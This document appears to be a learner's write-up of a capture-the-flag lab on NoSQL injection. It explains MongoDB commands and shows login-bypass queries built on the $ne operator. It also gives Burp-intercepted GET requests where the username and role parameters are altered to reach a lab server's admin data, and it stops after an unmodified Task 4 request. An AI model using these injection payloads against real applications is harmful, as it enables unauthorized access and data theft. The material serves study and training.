non-relational database, usually used for big data or IoT devices
Fast queries, ease of use, scalability and flexible data structure
This challenge covers : NoSQL intro, enumeration and exploitation
Examples --> MongoDB, RavenDB
- Structure of NoSQL
MongoDB consists of databases, tables, fields but with different names where
Collections are similar to tables or views in MySQL and MSSQL.
Documents are similar to rows or records in MySQL and MSSQL.
Fields are similar to columns in MySQL and MSSQL.
The following graph shows a visual example of these terms as we have a database named AoC3 that has two collections: users, roles. The users collection has two documents (2 records). Documents in MongoDB are objects stored in a format called BSON, which supports JSON data types for document storing.
Also, it is useful to briefly look at and compare the query operators between MongoDB and MySQL:
$and equivalent to AND in MySQL
$or equivalent to OR in MySQL
$eq equivalent to = in MySQL
- MongoDB Commands
// Show command - list databases
> show databases
admin 0.000GB
config 0.000GB
local 0.000GB
// use command - connect to a database if it exists, creates one if it does not
> use AoC3
switched to db AoC3
// db.createCollection() - create collections (tables in MySQL)
> db.createCollection("users")
{ "ok" : 1 }
> db.createCollection("roles")
{ "ok" : 1 }
// db.getCollectionNames(); - show all available collections in database
> db.getCollectionNames();
[ "roles", "users" ]
// create 2 document in "users" collection and insert data - dictionary
> db.users.insert({id:"1", username: "admin", email: "admin@thm.labs", password: "idk2021!"})
WriteResult({ "nInserted" : 1 })
> db.users.insert({id:"2", username: "user", email: "user@thm.labs", password: "password1!"})
WriteResult({ "nInserted" : 1 })
>
// show available documents within the collection using db.users.find()
> db.users.find()
{ "_id" : ObjectId("6183dc871ebe3f0c4b779a31"), "id" : "1", "username" : "admin", "email" : "admin@thm.labs", "password" : "idk2021!" }
{ "_id" : ObjectId("6183dc911ebe3f0c4b779a32"), "id" : "2", "username" : "user", "email" : "user@thm.labs", "password" : "password1!" }
// note that the unique object id is automatically create by MongoDB
// Update document using db.<collection>.update()
> db.users.update({id:"2"}, {$set: {username: "tryhackme"}});
WriteResult({ "nMatched" : 1, "nUpserted" : 0, "nModified" : 1 })
> db.users.find()
{ "_id" : ObjectId("6183dc871ebe3f0c4b779a31"), "id" : "1", "username" : "admin", "email" : "admin@thm.labs", "password" : "idk2021!" }
{ "_id" : ObjectId("6183dc911ebe3f0c4b779a32"), "id" : "2", "username" : "tryhackme", "email" : "user@thm.labs", "password" : "password1!" }
//remove document using db.collections.remove()
> db.users.remove({'id':'2'})
WriteResult({ "nRemoved" : 1 })
> db.users.find()
{ "_id" : ObjectId("6183dc871ebe3f0c4b779a31"), "id" : "1", "username" : "admin", "email" : "admin@thm.labs", "password" : "idk2021!" }
// db.users.drop()
> db.users.drop()
true
NoSQL injection happens by sending queries via untrusted and unfiltered web application input, which leads to leaked unauthorized information. In addition, the attacker can use the NoSQL injection to perform various operations such as modifying data, escalating privileges, DoS attacks, and others.
- Bypass Login Pages
connect to database and look for certain password and username, if they exist in the collection in the database, we have a valid entry
commonly used json Query on login pages:
db.users.find({query})
db.users.findOne(query)
functions where the query is JSON data that's send via the application: {"username": "admin", "password":"adminpass"}. Note that when we provide the correct credentials, a document returns, while a null reply is received when providing the wrong credentials when nothing matches!
Before exploiting the NoSQL injection, there are MongoDB operators that we need to be familiar with that are heavily used in the injections, which are:
$eq - matches records that equal to a certain value
$ne - matches records that are not equal to a certain value
$gt - matches records that are greater than a certain value.
$where - matches records based on Javascript condition
$exists - matches records that have a certain field
$regex - matches records that satisfy certain regular expressions.
Example Login Query
> db.users.findOne({username: "admin", password: {"$ne":"xyz"}})
{
"_id" : ObjectId("6183ef6292dea43d75f0c820"),
"id" : "1",
"username" : "admin",
"email" : "admin@thm.labs",
"password" : "adminpass"
}
//LOGIC
We are telling MongoDB to find a document (user) with a username equal
to admin and his password is not equal to xyz, which turns this statement
to TRUE because the admin's password is not xyz.
Since the logic is true, we successfully retrieve the document. Apply this concept against the login pages.
Now to login as another user who is not admin :
> db.users.findOne({username:{"$ne":"admin"},password:{"$ne":"xyz"}})
{
"_id" : ObjectId("6183ef5b92dea43d75f0c81f"),
"id" : "2",
"username" : "user",
"email" : "user@thm.labs",
"password" : "password1!"
}
//we are telling MongoDB to find a document that its username is not equal
// to admin and its password is not equal to xyz, which returns the statement as true.
- Exploiting NoSQL Injection
find entry point that's not sanitized
understand how the web app passes the requests to the database
Interacting with MongoDb via GET or POST requests is by injecting an array of the MongoDb operator to match the JSON objection to match the Key:Value
- Task 2 : Bypass login pages on web app to retrieve flag
Use the knowledge given in AoC3 day 4 to setup and run Burp Suite proxy to intercept the HTTP request for the login page. Then modify the POST parameter.
Using POST Request, alter [$ne] in :
- Task 3 : Find the flag via in login admin access search form
Use BURP
search for any user on search form
intercept, alter role=guest and username[$ne]=admin
//ORIGINAL BURP
GET /search?username=admin&role=user HTTP/1.1
Host: 10.10.25.61
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:80.0) Gecko/20100101 Firefox/80.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Referer: http://10.10.25.61/search?username=admin&role=user
Cookie: connect.sid=s%3Az1DPuLGo2whAIGPNum5bK_5pm3AfJUcw.4C3y0KHxT5qIikp1MDFNPjiPbhleOPvSq4zuClBHsTE
Upgrade-Insecure-Requests: 1
If-None-Match: W/"682-ZFf4s31G2NciRENI51qh2JvNLfg"
//NEW HEADER
GET /search?username[$ne]=admin&role=guest HTTP/1.1
Results :
- Task 4 : Find mcskidy details
We prove that mcskidy is not a user by searching on the database, which returns no user
//ORIGINAL BURP SUITE
GET /search?username=mcskidy&role=user HTTP/1.1
Host: 10.10.25.61
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:80.0) Gecko/20100101 Firefox/80.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Referer: http://10.10.25.61/search?username=mcskidy&role=user
Cookie: connect.sid=s%3Az1DPuLGo2whAIGPNum5bK_5pm3AfJUcw.4C3y0KHxT5qIikp1MDFNPjiPbhleOPvSq4zuClBHsTE
Upgrade-Insecure-Requests: 1
If-None-Match: W/"682-ZFf4s31G2NciRENI51qh2JvNLfg"